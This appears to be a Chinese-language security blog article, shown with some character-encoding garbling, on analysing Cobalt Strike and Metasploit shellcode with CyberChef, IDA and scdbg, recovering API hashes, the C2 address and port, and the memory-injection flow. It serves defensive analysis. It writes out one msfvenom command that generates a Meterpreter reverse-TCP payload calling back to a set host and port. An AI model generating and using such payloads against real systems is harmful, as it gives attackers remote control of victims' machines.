【网络安全】红蓝攻防:shellcode的分析
前言
在做紅藍(lán)攻防時(shí),常常要用到cs、msf等工具,使用工具生成shellcode或可執(zhí)行程序,那么小小的shellcode為何能做這么多事情,拿到shellcode后又該怎么分析。希望這篇文章能給大家?guī)?lái)答案,文章中不正確的地方請(qǐng)及時(shí)指出。
shellcode定義
shellcode是一段用于利用軟件漏洞而執(zhí)行的代碼,shellcode為16進(jìn)制之機(jī)械碼,以其經(jīng)常讓攻擊者獲得shell而得名。shellcode常常使用機(jī)器語(yǔ)言編寫。 在寄存器eip溢出后,加入一段可讓CPU執(zhí)行的shellcode機(jī)械碼,讓電腦可以執(zhí)行攻擊者的任意指令。
通俗來(lái)講就是一串16進(jìn)制的機(jī)器碼,由CPU解釋為操作指令 ,最后由內(nèi)存加載執(zhí)行。這些操作指令可以由工具生成,也可以自己編寫。
例如常見的\x55\x88\xEC,經(jīng)CPU解釋后如下
55 push ebp
8B EC mov ebp, esp
了解一些匯編知識(shí)就能理解,這是一個(gè)簡(jiǎn)單的入棧操作
shellcode提取
【點(diǎn)擊查看學(xué)習(xí)資料】私信回復(fù)“資料”可獲取
這里以cs生成的powershell代碼舉例,首先使用Cobalt Strike生成一個(gè)powershell的payload。
可以看到使用了base64和xor編碼,可以使用CyberChef工具進(jìn)行解碼,解碼后轉(zhuǎn)成hex并去除空格
然后以hex形式黏貼至010editor
簡(jiǎn)單分析
將獲取到的文件載入IDA進(jìn)行簡(jiǎn)單分析
IDA嘗試還原代碼,但是第一段IDA將其視為了數(shù)據(jù)段,使用快捷鍵C來(lái)進(jìn)行轉(zhuǎn)換
還原后可以發(fā)現(xiàn),其在第二行調(diào)用了sub_8F,另外還要注意fs:[edx+30h],這是一個(gè)指向PEB的指針,這是shell代碼動(dòng)態(tài)定位和加載所需導(dǎo)入的方式,找到PEB后,就可以去找IAT里相關(guān)函數(shù)了。
在sub_8F函數(shù)內(nèi),可以看到如下代碼,使用快捷鍵R可以轉(zhuǎn)換成字符,發(fā)現(xiàn)其調(diào)用了wininet.dll,這是一個(gè)windows應(yīng)用程序網(wǎng)絡(luò)相關(guān)模塊
還有一部分調(diào)用我們需要借助于工具匹配windows dll的api哈希值,完整列表
通過(guò)檢索可以查找到對(duì)應(yīng)調(diào)用
0xc69f8957 wininet.dll_InternetConnectA
0xa779563a wininet.dll_InternetOpenA
快速分析
使用IDA分析可以很容易的對(duì)shellcode的流程加載進(jìn)行觀察,當(dāng)然我們可以使用SCDBG工具更快速的對(duì)shellcode進(jìn)行分析。它是一個(gè)圍繞libemu仿真庫(kù)構(gòu)建的shell代碼分析應(yīng)用程序。將向用戶顯示shellcode試圖調(diào)用的所有Windows API。
通過(guò)命令行直接對(duì)文件進(jìn)行分析,可以快速獲取其調(diào)用的函數(shù)庫(kù)和遠(yuǎn)端的地址與端口
除了命令行,該工具還提供了gui界面,載入文件勾選相關(guān)選項(xiàng),會(huì)自動(dòng)
cs流程分析
通過(guò)上面分析我們可以了解到,cs生成的shellcode僅僅加載了wininet API庫(kù)并導(dǎo)入了兩個(gè)用于建立互聯(lián)網(wǎng)連接的庫(kù),并可以看到連接對(duì)應(yīng)的IP和端口。其功能也很明顯,就是一個(gè)接收信號(hào)的程序。那么回過(guò)頭看一下cs生成的ps文件的其他部分
首先,腳本從system.dll 中導(dǎo)入兩個(gè)函數(shù) GetModuleHandle 和 GetProcAddress,通過(guò)動(dòng)態(tài)鏈接方式直接從內(nèi)存中導(dǎo)入dll,不會(huì)從磁盤加載。
然后,這些函數(shù)用于為函數(shù)“var_va”分配內(nèi)存空間,該函數(shù)包含我們的 shellcode。然后腳本對(duì) shellcode 進(jìn)行解碼和解密
接下來(lái),VirtualAlloc 將 shellcode 函數(shù)寫入內(nèi)存空間以供調(diào)用進(jìn)程使用。因此,shellcode 本質(zhì)上是注入到進(jìn)程使用的內(nèi)存空間中。
最后,shellcode 被執(zhí)行,在那里它與 Cobalt Strike 服務(wù)器建立一個(gè) C2 通道。當(dāng)通道建立后即可接收來(lái)自cs的指令。
msf流程
首先使用msfvenom生成shellode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw
可惜的是64位的shellcode無(wú)法直接使用scdbg進(jìn)行分析,相對(duì)應(yīng)的一些函數(shù)IDA無(wú)法做到有效識(shí)別,但好在msf生成的shellcode有個(gè)特征可以有助于我們?nèi)ヌ崛P和端口。
移動(dòng)指令(mov)且結(jié)尾為0002的寄存器值,搜索后找到如下值4199F5A8C05C1120
這里注意大小端的問(wèn)題,進(jìn)行16進(jìn)制轉(zhuǎn)10進(jìn)制,可以得到I以下153.245.168.192,轉(zhuǎn)換出來(lái)就是192.168.245.153,5c11轉(zhuǎn)換后是4444。一般由于適用性問(wèn)題,64位的shellode較少,這里簡(jiǎn)單提一下。
msfvenom的shellcode實(shí)現(xiàn)的功能我們可以使用32位的進(jìn)行分析,將32位的shellcode使用scdbg工具打開,勾選scan for api table選項(xiàng),最后啟動(dòng)
可以發(fā)現(xiàn)其調(diào)用的是ws2_32.dll,它是Windows Sockets應(yīng)用程序接口,用于支持Internet和網(wǎng)絡(luò)應(yīng)用程序。通過(guò)分析可以得出msf的shellcode也僅僅做了建立連接通信的功能。
總結(jié)
shellcode是一串機(jī)器碼,可以由CPU解釋執(zhí)行。
cs和msf默認(rèn)生成的shellcode僅僅是一個(gè)連接程序,需要其他方式加載進(jìn)內(nèi)存執(zhí)行。
shellclode分析32位可以直接使用scdbg直接分析,可以獲取遠(yuǎn)程的IP和端口、調(diào)用的API等信息。
總結(jié)
以上是生活随笔為你收集整理的【网络安全】红蓝攻防:shellcode的分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【网络安全】浅析跨域原理及如何实现跨域
- 下一篇: 如何做好应急响应工作?常见应急响应流程